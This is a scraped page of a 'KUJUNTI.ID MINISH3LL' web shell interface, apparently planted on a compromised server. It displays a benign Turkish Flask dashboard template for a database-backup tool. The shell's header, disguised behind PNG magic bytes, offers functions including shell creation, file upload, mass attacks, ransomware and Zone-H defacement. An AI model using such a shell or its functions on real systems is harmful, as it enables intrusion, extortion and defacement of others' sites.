\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv2/templates/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv2/templates/dashboard.html


{% extends "base.html" %}

{% block content %}
<div class="container-fluid">
    <div class="d-flex justify-content-between flex-wrap flex-md-nowrap align-items-center pt-3 pb-2 mb-3 border-bottom">
        <h1 class="h2">Kontrol Paneli</h1>
        <div class="btn-group me-2">
            <a href="{{ url_for('backup_jobs') }}" class="btn btn-outline-secondary">
                <i class="fas fa-plus"></i> Yeni Yedekleme Görevi
            </a>
        </div>
    </div>

    <!-- Stats cards -->
    <div class="row">
        <div class="col-md-3 mb-4">
            <div class="card border-primary shadow-sm">
                <div class="card-body">
                    <div class="d-flex justify-content-between align-items-center">
                        <div>
                            <h6 class="card-title text-primary">Veritabanı Bağlantıları</h6>
                            <h2 class="mb-0">{{ db_count }}</h2>
                        </div>
                        <div class="rounded-circle bg-primary bg-opacity-10 p-3">
                            <i class="fas fa-database fa-2x text-primary"></i>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div class="col-md-3 mb-4">
            <div class="card border-success shadow-sm">
                <div class="card-body">
                    <div class="d-flex justify-content-between align-items-center">
                        <div>
                            <h6 class="card-title text-success">Depolama Hedefleri</h6>
                            <h2 class="mb-0">{{ storage_count }}</h2>
                        </div>
                        <div class="rounded-circle bg-success bg-opacity-10 p-3">
                            <i class="fas fa-hdd fa-2x text-success"></i>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div class="col-md-3 mb-4">
            <div class="card border-info shadow-sm">
                <div class="card-body">
                    <div class="d-flex justify-content-between align-items-center">
                        <div>
                            <h6 class="card-title text-info">Yedekleme İşleri</h6>
                            <h2 class="mb-0">{{ job_count }}</h2>
                        </div>
                        <div class="rounded-circle bg-info bg-opacity-10 p-3">
                            <i class="fas fa-tasks fa-2x text-info"></i>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div class="col-md-3 mb-4">
            <div class="card border-warning shadow-sm">
                <div class="card-body">
                    <div class="d-flex justify-content-between align-items-center">
                        <div>
                            <h6 class="card-title text-warning">Başarı Oranı</h6>
                            <h2 class="mb-0">
                                {% if success_count + failed_count > 0 %}
                                    {{ (success_count / (success_count + failed_count) * 100) | round }}%
                                {% else %}
                                    N/A
                                {% endif %}
                            </h2>
                        </div>
                        <div class="rounded-circle bg-warning bg-opacity-10 p-3">
                            <i class="fas fa-percentage fa-2x text-warning"></i>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- Backup Chart -->
    <div class="row mb-4">
        <div class="col-md-8">
            <div class="card">
                <div class="card-header">
                    <h5 class="card-title">Yedekleme Geçmişi (Son 7 Gün)</h5>
                </div>
                <div class="card-body">
                    <canvas id="backupChart" height="250"></canvas>
                </div>
            </div>
        </div>
        <div class="col-md-4">
            <div class="card">
                <div class="card-header">
                    <h5 class="card-title">Depolama Durumu</h5>
                </div>
                <div class="card-body">
                    {% for storage in storage_info %}
                    <div class="mb-3">
                        <div class="d-flex justify-content-between">
                            <span>{{ storage.name }}</span>
                            {% if storage.warning %}
                                <span class="badge bg-danger">
                                    <i class="fas fa-exclamation-triangle"></i> Düşük Alan
                                </span>
                            {% else %}
                                <span class="badge bg-success">
                                    <i class="fas fa-check"></i> OK
                                </span>
                            {% endif %}
                        </div>
                        <div class="progress mt-2" style="height: 10px;">
                            {% if storage.percent_free < 10 %}
                                <div class="progress-bar bg-danger" role="progressbar" 
                                     style="width: {{ 100 - storage.percent_free }}%;" 
                                     aria-valuenow="{{ 100 - storage.percent_free }}" aria-valuemin="0" aria-valuemax="100">
                                </div>
                            {% elif storage.percent_free < 20 %}
                                <div class="progress-bar bg-warning" role="progressbar" 
                                     style="width: {{ 100 - storage.percent_free }}%;" 
                                     aria-valuenow="{{ 100 - storage.percent_free }}" aria-valuemin="0" aria-valuemax="100">
                                </div>
                            {% else %}
                                <div class="progress-bar bg-success" role="progressbar" 
                                     style="width: {{ 100 - storage.percent_free }}%;" 
                                     aria-valuenow="{{ 100 - storage.percent_free }}" aria-valuemin="0" aria-valuemax="100">
                                </div>
                            {% endif %}
                        </div>
                        <div class="d-flex justify-content-between mt-1">
                            <small>Kullanılan: {{ ((storage.total_space - storage.free_space) / (1024*1024*1024)) | round(2) }} GB</small>
                            <small>Boş: {{ (storage.free_space / (1024*1024*1024)) | round(2) }} GB</small>
                        </div>
                    </div>
                    {% endfor %}
                </div>
            </div>
        </div>
    </div>

    <!-- Recent Backups -->
    <div class="row">
        <div class="col-12">
            <div class="card">
                <div class="card-header d-flex justify-content-between align-items-center">
                    <h5 class="card-title">Son Yedeklemeler</h5>
                    <a href="{{ url_for('logs') }}" class="btn btn-sm btn-outline-secondary">Tümünü Gör</a>
                </div>
                <div class="card-body">
                    <div class="table-responsive">
                        <table class="table table-hover align-middle">
                            <thead>
                                <tr>
                                    <th>Durum</th>
                                    <th>İş Adı</th>
                                    <th>Veritabanı</th>
                                    <th>Depolama</th>
                                    <th>Zaman</th>
                                    <th>Boyut</th>
                                </tr>
                            </thead>
                            <tbody>
                                {% for log in recent_logs %}
                                <tr>
                                    <td>
                                        {% if log.status == 'success' %}
                                            <span class="badge bg-success">
                                                <i class="fas fa-check"></i> Başarılı
                                            </span>
                                        {% else %}
                                            <span class="badge bg-danger">
                                                <i class="fas fa-times"></i> Başarısız
                                            </span>
                                        {% endif %}
                                    </td>
                                    <td>{{ log.job.name }}</td>
                                    <td>{{ log.job.database.name }}</td>
                                    <td>{{ log.job.storage.name }}</td>
                                    <td>{{ log.timestamp.strftime('%Y-%m-%d %H:%M:%S') }}</td>
                                    <td>
                                        {% if log.backup_size %}
                                            {% if log.backup_size > 1024*1024*1024 %}
                                                {{ (log.backup_size / (1024*1024*1024)) | round(2) }} GB
                                            {% elif log.backup_size > 1024*1024 %}
                                                {{ (log.backup_size / (1024*1024)) | round(2) }} MB
                                            {% elif log.backup_size > 1024 %}
                                                {{ (log.backup_size / 1024) | round(2) }} KB
                                            {% else %}
                                                {{ log.backup_size }} B
                                            {% endif %}
                                        {% else %}
                                            N/A
                                        {% endif %}
                                    </td>
                                </tr>
                                {% endfor %}
                                
                                {% if not recent_logs %}
                                <tr>
                                    <td colspan="6" class="text-center">Yakın zamanda yedekleme kaydı bulunamadı</td>
                                </tr>
                                {% endif %}
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
{% endblock %}

{% block scripts %}
<script src="{{ url_for('static', filename='js/dashboard.js') }}"></script>
<script src="{{ url_for('static', filename='js/charts.js') }}"></script>
<script>
    // Initialize backup chart
    document.addEventListener('DOMContentLoaded', function() {
        fetchBackupStats();
    });
    
    // Fetch backup stats for the chart
    function fetchBackupStats() {
        fetch('/api/dashboard_stats')
            .then(response => response.json())
            .then(data => {
                createBackupChart('backupChart', data.labels, data.success, data.failed);
            })
            .catch(error => {
                console.error('Error fetching backup stats:', error);
            });
    }
</script>
{% endblock %}

© KUJUNTI.ID